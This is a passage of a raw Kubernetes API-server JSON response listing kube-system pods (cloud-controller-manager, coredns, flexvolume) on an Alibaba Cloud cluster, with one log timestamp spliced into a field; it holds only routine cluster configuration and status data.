ki\",\"mountPath\":\"/etc/pki\"},{\"name\":\"cloud-config\",\"mountPath\":\"/etc/kubernetes/config\"},{\"name\":\"cloud-controller-manager-token-hrbpn\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"httpGet\":{\"path\":\"/healthz\",\"port\":10252,\"host\":\"127.0.0.1\",\"scheme\":\"HTTP\"},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\"}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"node-role.kubernetes.io/master\":\"\"},\"serviceAccountName\":\"cloud-controller-manager\",\"serviceAccount\":\"cloud-controller-manager\",\"nodeName\":\"cn-beijing.192.168.0.150\",\"hostNetwork\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.150\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priority\":0,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:31Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-09-10T07:23:39Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-09-10T07:23:39Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:31Z\"}],\"hostIP\":\"192.168.0.150\",\"podIP\":\"192.168.0.150\",\"podIPs\":[{\"ip\":\"192.168.0.150\"}],\"startTime\":\"2020-04-08T04:12:31Z\",\"containerStatuses\":[{\"name\":\"cloud-controller-manager\",\"state\":{\"running\":{\"startedAt\":\"2020-09-10T07:23:38Z\"}},\"lastState\":{\"terminated\":{\"exitCode\":255,\"reason\":\"Error\",\"startedAt\":\"2020-04-08T04:12:44Z\",\"finishedAt\":\"2020-09-10T07:23:17Z\",\"containerID\":\"docker://3963ea096e0f6d079045ece4689f08235e82ed60db63ce6b7ed3bd39d2170458\"}},\"ready\":true,\"restartCount\":1,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/cloud-controller-manager-amd64:v1.9.3.239-g40d97e1-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/cloud-controller-manager-amd64@sha256:780116bf9a2ac7bfecc12e5c976200d656a702f9122502a96cacfcad7d3834f9\",\"containerID\":\"docker://65cd60d6c7398c72c0e56481028dcd099993f248c7cfe6a5b6efea8b03de76b5\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"cloud-controller-manager-rpc6j\",\"generateName\":\"cloud-controller-manager-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/cloud-controller-manager-rpc6j\",\"uid\":\"87535eb7-8b07-47b2-a9db-7d5b31935e45\",\"resourceVersion\":\"1733\",\"creationTimestamp\":\"2020-04-08T04:12:31Z\",\"labels\":{\"app\":\"cloud-controller-manager\",\"controller-revision-hash\":\"59bf758d55\",\"pod-template-generation\":\"1\",\"tier\":\"control-plane\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\",\"scheduler.alpha.kubernetes.io/critical-pod\":\"\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"cloud-controller-manager\",\"uid\":\"dcaaaa8b-d304-42a3-8ee2-2d415041c6c0\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"k8s\",\"hostPath\":{\"path\":\"/etc/kubernetes\",\"type\":\"\"}},{\"name\":\"certs\",\"hostPath\":{\"path\":\"/etc/ssl/certs\",\"type\":\"\"}},{\"name\":\"pki\",\"hostPath\":{\"path\":\"/etc/pki\",\"type\":\"\"}},{\"name\":\"cloud-config\",\"configMap\":{\"name\":\"cloud-config\",\"items\":[{\"key\":\"cloud-config.conf\",\"path\":\"cloud-config.conf\"}],\"defaultMode\":420}},{\"name\":\"cloud-controller-manager-token-hrbpn\",\"secret\":{\"secretName\":\"cloud-controller-manager-token-hrbpn\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"cloud-controller-manager\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/cloud-controller-manager-amd64:v1.9.3.239-g40d97e1-aliyun\",\"command\":[\"/cloud-controller-manager\",\"--kubeconfig=/etc/kubernetes/cloud-controller-manager.conf\",\"--address=127.0.0.1\",\"--allow-untagged-cloud=true\",\"--leader-elect=true\",\"--cloud-provider=alicloud\",\"--use-service-account-credentials=true\",\"--cloud-config=/etc/kubernetes/config/cloud-config.conf\",\"--feature-gates=ServiceNodeExclusion=true\",\"--route-reconciliation-period=3m\",\"--configure-cloud-routes=true\",\"--allocate-node-cidrs=true\",\"--cluster-cidr=172.20.0.0/16\"],\"resources\":{\"requests\":{\"cpu\":\"200m\"}},\"volumeMounts\":[{\"name\":\"k8s\",\"mountPath\":\"/etc/kubernetes/\"},{\"name\":\"certs\",\"mountPath\":\"/etc/ssl/certs\"},{\"name\":\"pki\",\"mountPath\":\"/etc/pki\"},{\"name\":\"cloud-config\",\"mountPath\":\"/etc/kubernetes/config\"},{\"name\":\"cloud-controller-manager-token-hrbpn\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"httpGet\":{\"path\":\"/healthz\",\"port\":10252,\"host\":\"127.0.0.1\",\"scheme\":\"HTTP\"},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\"}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"node-role.kubernetes.io/master\":\"\"},\"serviceAccountName\":\"cloud-controller-manager\",\"serviceAccount\":\"cloud-controller-manager\",\"nodeName\":\"cn-beijing.192.168.0.152\",\"hostNetwork\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.152\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priority\":0,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:31Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:43Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:43Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:31Z\"}],\"hostIP\":\"192.168.0.152\",\"podIP\":\"192.168.0.152\",\"podIPs\":[{\"ip\":\"192.168.0.152\"}],\"startTime\":\"2020-04-08T04:12:31Z\",\"containerStatuses\":[{\"name\":\"cloud-controller-manager\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:43Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/cloud-controller-manager-amd64:v1.9.3.239-g40d97e1-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/cloud-controller-manager-amd64@sha256:780116bf9a2ac7bfecc12e5c976200d656a702f9122502a96cacfcad7d3834f9\",\"containerID\":\"docker://c9020e853dcded6316d05926cca0830ca4adcd5fef68b8b3d0880560b3bed34c\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"cloud-controller-manager-stdpv\",\"generateName\":\"cloud-controller-manager-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/cloud-controller-manager-stdpv\",\"uid\":\"61e7f14f-8a16-449f-9e51-c71d0e9f9e9a\",\"resourceVersion\":\"1748\",\"creationTimestamp\":\"2020-04-08T04:12:31Z\",\"labels\":{\"app\":\"cloud-controller-manager\",\"controller-revision-hash\":\"59bf758d55\",\"pod-template-generation\":\"1\",\"tier\":\"control-plane\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\",\"scheduler.alpha.kubernetes.io/critical-pod\":\"\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"cloud-controller-manager\",\"uid\":\"dcaaaa8b-d304-42a3-8ee2-2d415041c6c0\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"k8s\",\"hostPath\":{\"path\":\"/etc/kubernetes\",\"type\":\"\"}},{\"name\":\"certs\",\"hostPath\":{\"path\":\"/etc/ssl/certs\",\"type\":\"\"}},{\"name\":\"pki\",\"hostPath\":{\"path\":\"/etc/pki\",\"type\":\"\"}},{\"name\":\"cloud-config\",\"configMap\":{\"name\":\"cloud-config\",\"items\":[{\"key\":\"cloud-config.conf\",\"path\":\"cloud-config.conf\"}],\"defaultMode\":420}},{\"name\":\"cloud-controller-manager-token-hrbpn\",\"secret\":{\"secretName\":\"cloud-controller-manager-token-hrbpn\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"cloud-controller-manager\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/cloud-controller-manager-amd64:v1.9.3.239-g40d97e1-aliyun\",\"command\":[\"/cloud-controller-manager\",\"--kubeconfig=/etc/kubernetes/cloud-controller-manager.conf\",\"--address=127.0.0.1\",\"--allow-untagged-cloud=true\",\"--leader-elect=true\",\"--cloud-provider=alicloud\",\"--use-service-account-credentials=true\",\"--cloud-config=/etc/kubernetes/config/cloud-config.conf\",\"--feature-gates=ServiceNodeExclusion=true\",\"--route-reconciliation-period=3m\",\"--configure-cloud-routes=true\",\"--allocate-node-cidrs=true\",\"--cluster-cidr=172.20.0.0/16\"],\"resources\":{\"requests\":{\"cpu\":\"200m\"}},\"volumeMounts\":[{\"name\":\"k8s\",\"mountPath\":\"/etc/kubernetes/\"},{\"name\":\"certs\",\"mountPath\":\"/etc/ssl/certs\"},{\"name\":\"pki\",\"mountPath\":\"/etc/pki\"},{\"name\":\"cloud-config\",\"mountPath\":\"/etc/kubernetes/config\"},{\"name\":\"cloud-controller-manager-token-hrbpn\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"httpGet\":{\"path\":\"/healthz\",\"port\":10252,\"host\":\"127.0.0.1\",\"scheme\":\"HTTP\"},\"initialDelaySeconds\":15,\"timeoutSeconds\":15,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":8},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\"}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"ClusterFirst\",\"nodeSelector\":{\"node-role.kubernetes.io/master\":\"\"},\"serviceAccountName\":\"cloud-controller-manager\",\"serviceAccount\":\"cloud-controller-manager\",\"nodeName\":\"cn-beijing.192.168.0.151\",\"hostNetwork\":true,\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchFields\":[{\"key\":\"metadata.name\",\"operator\":\"In\",\"values\":[\"cn-beijing.192.168.0.151\"]}]}]}}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"},{\"key\":\"node.kubernetes.io/not-ready\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/unreachable\",\"operator\":\"Exists\",\"effect\":\"NoExecute\"},{\"key\":\"node.kubernetes.io/disk-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/memory-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/pid-pressure\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/unschedulable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"},{\"key\":\"node.kubernetes.io/network-unavailable\",\"operator\":\"Exists\",\"effect\":\"NoSchedule\"}],\"priority\":0,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:31Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:44Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:44Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:31Z\"}],\"hostIP\":\"192.168.0.151\",\"podIP\":\"192.168.0.151\",\"podIPs\":[{\"ip\":\"192.168.0.151\"}],\"startTime\":\"2020-04-08T04:12:31Z\",\"containerStatuses\":[{\"name\":\"cloud-controller-manager\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:43Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/cloud-controller-manager-amd64:v1.9.3.239-g40d97e1-aliyun\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/cloud-controller-manager-amd64@sha256:780116bf9a2ac7bfecc12e5c976200d656a702f9122502a96cacfcad7d3834f9\",\"containerID\":\"docker://a3b571469d988545b50e68e9ce9e24d763f0d1ddfdcbd450379df1ba4edab4f0\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"coredns-8494d5b47-8clp4\",\"generateName\":\"coredns-8494d5b47-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/coredns-8494d5b47-8clp4\",\"uid\":\"b75d504c-7153-4083-bce2-df1b4b55b391\",\"resourceVersion\":\"1927\",\"creationTimestamp\":\"2020-04-08T04:12:29Z\",\"labels\":{\"k8s-app\":\"kube-dns\",\"pod-template-hash\":\"8494d5b47\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\",\"prometheus.io/path\":\"/metrics\",\"prometheus.io/port\":\"9153\",\"prometheus.io/scrape\":\"true\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"ReplicaSet\",\"name\":\"coredns-8494d5b47\",\"uid\":\"9a367f62-0ab7-4177-831f-96a86e042674\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"config-volume\",\"configMap\":{\"name\":\"coredns\",\"items\":[{\"key\":\"Corefile\",\"path\":\"Corefile\"}],\"defaultMode\":420}},{\"name\":\"timezone\",\"hostPath\":{\"path\":\"/etc/localtime\",\"type\":\"\"}},{\"name\":\"coredns-token-d79rf\",\"secret\":{\"secretName\":\"coredns-token-d79rf\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"coredns\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/coredns:1.6.2\",\"args\":[\"-conf\",\"/etc/coredns/Corefile\"],\"ports\":[{\"name\":\"dns\",\"containerPort\":53,\"protocol\":\"UDP\"},{\"name\":\"dns-tcp\",\"containerPort\":53,\"protocol\":\"TCP\"},{\"name\":\"metrics\",\"containerPort\":9153,\"protocol\":\"TCP\"}],\"resources\":{\"limits\":{\"cpu\":\"2\",\"memory\":\"100Mi\"},\"requests\":{\"cpu\":\"100m\",\"memory\":\"100Mi\"}},\"volumeMounts\":[{\"name\":\"config-volume\",\"readOnly\":true,\"mountPath\":\"/etc/coredns\"},{\"name\":\"timezone\",\"mountPath\":\"/etc/localtime\"},{\"name\":\"coredns-token-d79rf\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"httpGet\":{\"path\":\"/health\",\"port\":8080,\"scheme\":\"HTTP\"},\"initialDelaySeconds\":60,\"timeoutSeconds\":5,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":5},\"readinessProbe\":{\"httpGet\":{\"path\":\"/ready\",\"port\":8181,\"scheme\":\"HTTP\"},\"timeoutSeconds\":1,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":3},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"capabilities\":{\"add\":[\"NET_BIND_SERVICE\"],\"drop\":[\"all\"]},\"privileged\":false,\"readOnlyRootFilesystem\":true,\"allowPrivilegeEscalation\":false}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"Default\",\"nodeSelector\":{\"beta.kubernetes.io/os\":\"linux\"},\"serviceAccountName\":\"coredns\",\"serviceAccount\":\"coredns\",\"nodeName\":\"cn-beijing.192.168.0.154\",\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDu2021/01/14 03:46:21 api-server response:\nringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchExpressions\":[{\"key\":\"type\",\"operator\":\"NotIn\",\"values\":[\"virtual-kubelet\"]}]}]}},\"podAntiAffinity\":{\"preferredDuringSchedulingIgnoredDuringExecution\":[{\"weight\":100,\"podAffinityTerm\":{\"labelSelector\":{\"matchExpressions\":[{\"key\":\"k8s-app\",\"operator\":\"In\",\"values\":[\"kube-dns\"]}]},\"topologyKey\":\"kubernetes.io/hostname\"}}]}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"}],\"priorityClassName\":\"system-cluster-critical\",\"priority\":2000000000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:58Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:58Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"}],\"hostIP\":\"192.168.0.154\",\"podIP\":\"172.20.1.66\",\"podIPs\":[{\"ip\":\"172.20.1.66\"}],\"startTime\":\"2020-04-08T04:12:29Z\",\"containerStatuses\":[{\"name\":\"coredns\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:53Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/coredns:1.6.2\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/coredns@sha256:4dd4d0e5bcc9bd0e8189f6fa4d4965ffa81207d8d99d29391f28cbd1a70a0163\",\"containerID\":\"docker://ea914da329aba6450d865eb6e65df2a5bca07584bc6660c4fabf8adc0c39897a\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"coredns-8494d5b47-gllw6\",\"generateName\":\"coredns-8494d5b47-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/coredns-8494d5b47-gllw6\",\"uid\":\"ce995e51-9bd8-4a76-ad70-50c75f70017c\",\"resourceVersion\":\"1917\",\"creationTimestamp\":\"2020-04-08T04:12:29Z\",\"labels\":{\"k8s-app\":\"kube-dns\",\"pod-template-hash\":\"8494d5b47\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\",\"prometheus.io/path\":\"/metrics\",\"prometheus.io/port\":\"9153\",\"prometheus.io/scrape\":\"true\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"ReplicaSet\",\"name\":\"coredns-8494d5b47\",\"uid\":\"9a367f62-0ab7-4177-831f-96a86e042674\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"config-volume\",\"configMap\":{\"name\":\"coredns\",\"items\":[{\"key\":\"Corefile\",\"path\":\"Corefile\"}],\"defaultMode\":420}},{\"name\":\"timezone\",\"hostPath\":{\"path\":\"/etc/localtime\",\"type\":\"\"}},{\"name\":\"coredns-token-d79rf\",\"secret\":{\"secretName\":\"coredns-token-d79rf\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"coredns\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/coredns:1.6.2\",\"args\":[\"-conf\",\"/etc/coredns/Corefile\"],\"ports\":[{\"name\":\"dns\",\"containerPort\":53,\"protocol\":\"UDP\"},{\"name\":\"dns-tcp\",\"containerPort\":53,\"protocol\":\"TCP\"},{\"name\":\"metrics\",\"containerPort\":9153,\"protocol\":\"TCP\"}],\"resources\":{\"limits\":{\"cpu\":\"2\",\"memory\":\"100Mi\"},\"requests\":{\"cpu\":\"100m\",\"memory\":\"100Mi\"}},\"volumeMounts\":[{\"name\":\"config-volume\",\"readOnly\":true,\"mountPath\":\"/etc/coredns\"},{\"name\":\"timezone\",\"mountPath\":\"/etc/localtime\"},{\"name\":\"coredns-token-d79rf\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"httpGet\":{\"path\":\"/health\",\"port\":8080,\"scheme\":\"HTTP\"},\"initialDelaySeconds\":60,\"timeoutSeconds\":5,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":5},\"readinessProbe\":{\"httpGet\":{\"path\":\"/ready\",\"port\":8181,\"scheme\":\"HTTP\"},\"timeoutSeconds\":1,\"periodSeconds\":10,\"successThreshold\":1,\"failureThreshold\":3},\"terminationMessagePath\":\"/dev/termination-log\",\"terminationMessagePolicy\":\"File\",\"imagePullPolicy\":\"IfNotPresent\",\"securityContext\":{\"capabilities\":{\"add\":[\"NET_BIND_SERVICE\"],\"drop\":[\"all\"]},\"privileged\":false,\"readOnlyRootFilesystem\":true,\"allowPrivilegeEscalation\":false}}],\"restartPolicy\":\"Always\",\"terminationGracePeriodSeconds\":30,\"dnsPolicy\":\"Default\",\"nodeSelector\":{\"beta.kubernetes.io/os\":\"linux\"},\"serviceAccountName\":\"coredns\",\"serviceAccount\":\"coredns\",\"nodeName\":\"cn-beijing.192.168.0.153\",\"securityContext\":{},\"affinity\":{\"nodeAffinity\":{\"requiredDuringSchedulingIgnoredDuringExecution\":{\"nodeSelectorTerms\":[{\"matchExpressions\":[{\"key\":\"type\",\"operator\":\"NotIn\",\"values\":[\"virtual-kubelet\"]}]}]}},\"podAntiAffinity\":{\"preferredDuringSchedulingIgnoredDuringExecution\":[{\"weight\":100,\"podAffinityTerm\":{\"labelSelector\":{\"matchExpressions\":[{\"key\":\"k8s-app\",\"operator\":\"In\",\"values\":[\"kube-dns\"]}]},\"topologyKey\":\"kubernetes.io/hostname\"}}]}},\"schedulerName\":\"default-scheduler\",\"tolerations\":[{\"operator\":\"Exists\"}],\"priorityClassName\":\"system-cluster-critical\",\"priority\":2000000000,\"enableServiceLinks\":true},\"status\":{\"phase\":\"Running\",\"conditions\":[{\"type\":\"Initialized\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"},{\"type\":\"Ready\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:56Z\"},{\"type\":\"ContainersReady\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:56Z\"},{\"type\":\"PodScheduled\",\"status\":\"True\",\"lastProbeTime\":null,\"lastTransitionTime\":\"2020-04-08T04:12:29Z\"}],\"hostIP\":\"192.168.0.153\",\"podIP\":\"172.20.1.2\",\"podIPs\":[{\"ip\":\"172.20.1.2\"}],\"startTime\":\"2020-04-08T04:12:29Z\",\"containerStatuses\":[{\"name\":\"coredns\",\"state\":{\"running\":{\"startedAt\":\"2020-04-08T04:12:53Z\"}},\"lastState\":{},\"ready\":true,\"restartCount\":0,\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/coredns:1.6.2\",\"imageID\":\"docker-pullable://registry-vpc.cn-beijing.aliyuncs.com/acs/coredns@sha256:4dd4d0e5bcc9bd0e8189f6fa4d4965ffa81207d8d99d29391f28cbd1a70a0163\",\"containerID\":\"docker://d4d605b9579b78611cc77a198455e54d50a7a14957779c3c75112b423fc47242\",\"started\":true}],\"qosClass\":\"Burstable\"}},{\"metadata\":{\"name\":\"flexvolume-652kv\",\"generateName\":\"flexvolume-\",\"namespace\":\"kube-system\",\"selfLink\":\"/api/v1/namespaces/kube-system/pods/flexvolume-652kv\",\"uid\":\"f11a2be7-7c74-48d7-8d1d-a88081d6f8fe\",\"resourceVersion\":\"1666\",\"creationTimestamp\":\"2020-04-08T04:12:29Z\",\"labels\":{\"controller-revision-hash\":\"bfc484779\",\"name\":\"acs-flexvolume\",\"pod-template-generation\":\"1\"},\"annotations\":{\"kubernetes.io/psp\":\"ack.privileged\"},\"ownerReferences\":[{\"apiVersion\":\"apps/v1\",\"kind\":\"DaemonSet\",\"name\":\"flexvolume\",\"uid\":\"7eb1d60b-0e68-4ae0-8554-5f9c4e52f2bd\",\"controller\":true,\"blockOwnerDeletion\":true}]},\"spec\":{\"volumes\":[{\"name\":\"usrdir\",\"hostPath\":{\"path\":\"/usr/\",\"type\":\"\"}},{\"name\":\"etcdir\",\"hostPath\":{\"path\":\"/etc/\",\"type\":\"\"}},{\"name\":\"logdir\",\"hostPath\":{\"path\":\"/var/log/alicloud/\",\"type\":\"\"}},{\"name\":\"kubeletdir\",\"hostPath\":{\"path\":\"/var/lib/kubelet\",\"type\":\"Directory\"}},{\"name\":\"default-token-cmtwb\",\"secret\":{\"secretName\":\"default-token-cmtwb\",\"defaultMode\":420}}],\"containers\":[{\"name\":\"acs-flexvolume\",\"image\":\"registry-vpc.cn-beijing.aliyuncs.com/acs/flexvolume:v1.14.8.66-1d0843f-aliyun\",\"env\":[{\"name\":\"ACS_DISK\",\"value\":\"true\"},{\"name\":\"ACS_NAS\",\"value\":\"true\"},{\"name\":\"ACS_OSS\",\"value\":\"true\"},{\"name\":\"ACS_CPFS\",\"value\":\"false\"}],\"resources\":{\"limits\":{\"cpu\":\"1\",\"memory\":\"1000Mi\"},\"requests\":{\"cpu\":\"100m\",\"memory\":\"100Mi\"}},\"volumeMounts\":[{\"name\":\"usrdir\",\"mountPath\":\"/host/usr/\"},{\"name\":\"etcdir\",\"mountPath\":\"/host/etc/\"},{\"name\":\"logdir\",\"mountPath\":\"/var/log/alicloud/\"},{\"name\":\"kubeletdir\",\"mountPath\":\"/var/lib/kubelet\",\"mountPropagation\":\"Bidirectional\"},{\"name\":\"default-token-cmtwb\",\"readOnly\":true,\"mountPath\":\"/var/run/secrets/kubernetes.io/serviceaccount\"}],\"livenessProbe\":{\"exec\":{\"command\":[\"sh\",\"-c\",\"ls 